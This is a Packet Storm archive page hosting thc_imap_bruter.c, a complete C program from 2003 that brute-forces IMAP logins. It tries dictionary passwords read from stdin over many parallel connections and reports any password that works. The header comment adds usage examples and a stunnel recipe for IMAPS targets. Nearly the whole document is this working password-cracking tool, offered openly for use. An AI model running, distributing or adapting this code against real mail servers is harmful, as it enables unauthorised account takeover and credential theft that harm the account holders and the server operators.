exploit the possibilities

thc_imap_bruter.c

thc_imap_bruter.c
Posted Nov 9, 2003
Authored by thc, Skyper | Site thc.org

IMAP password brute force tool. Can go up to 500 passwords / second on a remote host with 1000 connections in parallel if you like. It's fast and efficient.

tags | remote, imap
MD5 | ee7a531dda235cc708da677338b4dc44

thc_imap_bruter.c

Change Mirror Download
/*
* IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
* I had this one running with 30 passwords / second (100 parallel connections)
* against a single server and it did not even appear in top.
*
* Visit us -- your enemies already did.
* http://www.thc.org - THE HACKERS CHOICE
*
* gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
*
* SSL support for dummies:
* stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
*
* Example: (Brute 40 in parallel)
* ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

struct peer_str
{
char password[64];
char buf[256];
int sox;
int read;
char flags;
time_t time;
};

#define FL_CONNECTED (0x01)
#define FL_HEADERREAD (0x02)

#define ERREXIT(a...) do { \
fprintf(stderr, "%s:%d ", __func__, __LINE__); \
fprintf(stderr, a); \
exit(-1); \
} while (0)

static char g_flags;
#define FL_FINISHED (0x04) /* wordlist finished */
static unsigned short g_port;
static unsigned int g_ip;
static char *g_login;
static unsigned int g_parallel;
time_t time_now;
static fd_set g_rfds, g_wfds;
static unsigned int cracks;
static char *g_passwd;
static int n_peers;

struct peer_str peers[1024];

static unsigned int
hostname(char *host)
{
struct hostent *he;
int ip;

if ( (ip = inet_addr(host)) != -1)
return ip;
if ( (he = gethostbyname(host)) == NULL)
return -1;

if (he->h_length != 4)
return -1;
return *(int *)he->h_addr;
}

int tcp_socket_connect(unsigned int ip, unsigned short port)
{
int fd;
struct sockaddr_in addr;
int i;

if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
return -1;

memset(&addr, 0, sizeof addr);
addr.sin_family = PF_INET;
addr.sin_addr.s_addr = ip;
addr.sin_port = port;

if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
{
close(fd);
return -1;
}
i = i;
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

return fd;
}

static void
usage(void)
{
fprintf(stderr, ""
"imap-bruter [rlpn]\n"
"Options:\n"
" -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
" -p <port> - Port imapd runs on. [default: 143]\n"
" -l <login name> - Login name\n"
" -n <parallel> - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
"");
exit(0);
}

static void
do_getopt(int argc, char *argv[])
{
int c;

g_port = 143;
g_parallel = 5;

while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
{
switch (c)
{
case 'r':
g_ip = hostname(optarg);
break;
case 'l':
g_login = strdup(optarg);
break;
case 'p':
g_port = atoi(optarg);
break;
case 'n':
g_parallel = atoi(optarg);
break;
default:
usage();
break;
}
}

if (g_ip == -1)
{
fprintf(stderr, "Unknown host!\n");
usage();
}
if (!g_login)
usage();
if (g_parallel <= 0)
usage();
}

static void
peer_clear(struct peer_str *p)
{
if (p->sox >= 0)
close(p->sox);
p->sox = -1;
p->read = 0;
p->flags = 0;
/* Keep 'password' as it has not yet been processed */
n_peers--;
}

static int
do_readpwd(struct peer_str *p)
{
char *ptr;

if (g_flags & FL_FINISHED)
return -1;
cracks++;
memset(p->password, 0, sizeof p->password);
if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
return -1;

g_passwd = p->password;
ptr = strchr(p->password, '\n');
if (ptr)
*ptr = '\0';

return 0;
}

/*
* Socket ready for reading. Read line.
*/
void
do_read(struct peer_str *p)
{
ssize_t n;
char *ptr;
char buf[1024];

n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
if (n <= 0)
goto err;
p->read += n;

if (p->read + 1 >= sizeof p->buf)
goto err;
p->buf[p->read] = '\0';
ptr = strchr(p->buf, '\n');
if (!ptr)
return;
p->time = time_now;
if (p->flags & FL_HEADERREAD)
{
if (strstr(p->buf, " NO") == NULL)
{
printf("FOUND '%s'\n", p->password);
exit(0);
}
if (do_readpwd(p) != 0)
{
g_flags |= FL_FINISHED;
goto err;
}
} else {
p->flags |= FL_HEADERREAD;
if (p->password[0] == '\0')
{
if (do_readpwd(p) != 0)
{
g_flags |= FL_FINISHED;
goto err;
}
}
}

snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
n = strlen(buf);
if (write(p->sox, buf, n) != n)
{
/* Write should not fail. Linux kernel always has 1024 write
* buffer for us.
*/
goto err;
}

return;
err:
peer_clear(p);
}

static void
peer_init(struct peer_str *p)
{
p->sox = -1;
p->read = 0;
}

int
main(int argc, char *argv[])
{
struct timeval tv;
int conn;
int maxfd;
struct peer_str *p;
int i, n;
int ret;
socklen_t len;
time_t time_last, time_start;
unsigned int hours, min, sec;
unsigned int old_cracks = 0;
double cs;

g_passwd = "<waiting...>";
do_getopt(argc, argv);
time_now = time(NULL);
time_start = time_now;
time_last = time_now;
printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
for (i = 0; i < g_parallel; i++)
peer_init(&peers[i]);

while (1)
{
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO(&g_rfds);
FD_ZERO(&g_wfds);
conn = 0;
maxfd = 0;
for (i = 0; i < g_parallel; i++)
{
if (peers[i].sox >= 0)
{
if (peers[i].flags & FL_CONNECTED)
FD_SET(peers[i].sox, &g_rfds);
else
FD_SET(peers[i].sox, &g_wfds);
} else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
peers[i].time = time_now;
peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
if (peers[i].sox >= 0)
FD_SET(peers[i].sox, &g_wfds);
conn++;
}
if (peers[i].sox > maxfd)
maxfd = peers[i].sox;
}
if (maxfd == 0)
{
fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
exit(0);
}
n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
time_now = time(NULL);
if ((time_last < time_now) && (old_cracks != cracks))
{
sec = time_now - time_start;
hours = sec / 3600;
min = (sec - hours * 3600) / 60;
sec = sec % 60;
cs = ((float)cracks) / ((float)(time_now - time_start));
fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
time_last = time_now;
old_cracks = cracks;
}

for (i = 0; i < g_parallel; i++)
{
p = &peers[i];
if (p->sox < 0)
continue;

if (p->time + 30 < time_now)
{
fprintf(stderr, "TIMEOUT on socket...\n");
peer_clear(p);
continue;
}

if (FD_ISSET(p->sox, &g_wfds))
{
len = sizeof ret;
ret = 0;
if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
peer_clear(p);
else {
p->flags |= FL_CONNECTED;
n_peers++;
}

} else if (FD_ISSET(p->sox, &g_rfds)) {
do_read(p);
}
} /* for through all peers.. */
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close